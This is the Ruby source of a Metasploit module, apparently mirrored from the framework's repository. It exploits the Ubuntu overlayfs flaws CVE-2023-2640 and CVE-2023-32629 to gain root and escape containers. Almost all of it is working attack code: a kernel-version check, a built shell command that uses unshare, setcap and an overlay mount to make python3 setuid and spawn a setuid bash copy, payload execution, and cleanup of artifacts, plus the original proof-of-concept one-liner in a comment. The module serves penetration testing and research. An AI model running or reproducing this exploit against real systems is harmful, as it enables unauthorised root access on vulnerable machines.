Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Path: blob/master/modules/exploits/linux/local/gameoverlay_privesc.rb
Views: 15996
class MetasploitModule < Msf::Exploit::Local12prepend Msf::Exploit::Remote::AutoCheck3include Msf::Post::Linux::System4include Msf::Post::Linux::Kernel5include Msf::Post::File6include Msf::Exploit::FileDropper7include Msf::Exploit::EXE89def initialize(info = {})10super(11update_info(12info,13'Name' => 'GameOver(lay) Privilege Escalation and Container Escape',14'Description' => %q{15This module exploits the use of unsafe functions in a number of Ubuntu kernels16utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux17kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent18changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is19called during ovl_do_setxattr without calling the intermediate safety function20vfs_setxattr. Ultimatly this module allows for root access to be achieved by21writing setuid capabilities to a file which are not sanitized after being unioned22with the upper mounted directory.23},24'License' => MSF_LICENSE,25'Author' => [26'g1vi', # PoC27'h00die', # Module Suggestion28'bwatters-r7', # MsF Module29'gardnerapp', # MsF Module30],31'Platform' => ['linux', 'unix'],32'SessionTypes' => ['shell', 'meterpreter'],33'DisclosureDate' => '2023-07-26',34'References' => [35['URL', 'https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/'],36['URL', 'https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629'],37['URL', 'https://www.cvedetails.com/cve/CVE-2023-2640/'],38['URL', 'https://www.cvedetails.com/cve/CVE-2023-32629/'],39['URL', 'https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability'],40['CVE', '2023-32629'],41['CVE', '2023-2640']42],43'Targets' => [44[45'Linux_Binary',46{47'Arch' => [ ARCH_AARCH64, ARCH_X64 ],48'PrependSetuid' => true49}50],51[52'Linux_Command',53{54'Arch' => ARCH_CMD,55'Payload' =>56{57'BadChars' => "\x22\x27"58}59}60]61],62'Notes' => {63'Stability' => [CRASH_SAFE],64'Reliability' => [REPEATABLE_SESSION],65'SideEffects' => [ARTIFACTS_ON_DISK]66}67)68)69register_options [70OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),71OptString.new('PayloadFileName', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))])72]73end7475def vuln76# Keys are ubuntu versions, vals is list of vunerable kernels77{78"Lunar Lobster": %w[6.2.0], # Ubuntu 23.0479"Kinetic Kudu": %w[5.19.0], # Ubuntu 22.1080"Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS81"Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS82"Bionic Beaver": %w[5.4.0] # Ubuntu 18.04 LTS83}.transform_keys!(&:to_s) # w/o this key will be :"Bionic Beaver"84end8586def check87return CheckCode::Safe('Target is not linux.') unless session.platform == 'linux'8889# Must be Ubuntu90return CheckCode::Safe('Target is not Ubuntu.') unless kernel_version =~ /[uU]buntu/9192os = cmd_exec 'cat /etc/os-release'9394# grab codename i.e. Focal Fossa95codename = os.scan(/\(\w* \w*\)/)[0]9697# Remove '(' and ')'98codename.delete_prefix!('(').delete_suffix!(')')99100print_status "Detected Ubuntu version: #{codename}"101102# uname -r103# yields something like 5.4.0-1018-blah104kernel = kernel_release105print_status "Detected kernel version: #{kernel}"106107# Make sure release is running vunerable kernel108# will this return in correct context??109# could scan kernel to prevent looping if return below doesn't work110vuln[codename].each do |version|111if kernel.include? version112return CheckCode::Vulnerable "#{codename} with #{kernel} kernel is vunerable"113end114end115116return CheckCode::Safe('Target does not appear to be running a vunerable Ubuntu Distro or Kernel')117end118119def exploit120pay_dir = datastore['WritableDir']121pay_dir += '/' unless pay_dir.ends_with? '/'122123pay_dir += Rex::Text.rand_text_alpha(rand(6..13)) + '/'124125print_status "Creating directory to store payload: #{pay_dir}"126mkdir pay_dir127128directories = []129directories << pay_dir130131lower_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'132directories << lower_dir133134upper_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'135directories << upper_dir136137work_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'138directories << work_dir139140merge_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'141directories << merge_dir142143bash_copy = '/var/tmp/' + Rex::Text.rand_text_alpha(rand(6..13))144# bash_copy = '/var/tmp/bash'145146directories.each do |dir|147print_status "Creating directory #{dir}"148mkdir dir.to_s149end150151if target.arch.first == ARCH_CMD152payload_cmd = payload.encoded153else154pay_file = datastore['PayloadFilename']155payload_path = "#{pay_dir}#{pay_file}"156print_status "Writing payload: #{payload_path}"157write_file(payload_path, generate_payload_exe)158payload_cmd = payload_path159end160161# g1vi original162# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"163164# Exploit overlayfs vuln165# Build the command166rmrf_cmd = " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}"167168exploit_cmd = 'unshare -rm sh -c "'169exploit_cmd << "cp #{cmd_exec('which python3')} #{lower_dir}; "170exploit_cmd << "setcap cap_setuid+eip #{lower_dir}python3; "171exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{lower_dir},upperdir=#{upper_dir},workdir=#{work_dir} #{merge_dir} && "172exploit_cmd << "touch #{merge_dir}*; "173exploit_cmd << "#{upper_dir}python3 -c 'import os;os.setuid(0);os.system("174exploit_cmd << "\\\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && "175if target.arch.first == ARCH_CMD176payload_cmd.gsub!('\\\\\\', '\\\\\\\\')177exploit_cmd << "#{bash_copy} -p -c \\\\\\\"(#{payload_cmd}); #{rmrf_cmd}\\\\\\\""178else179exploit_cmd << "chmod +x #{payload_cmd} && #{payload_cmd} & #{rmrf_cmd}"180end181exploit_cmd << "\\\")'\""182output = cmd_exec(exploit_cmd)183vprint_status(output)184end185186end187188189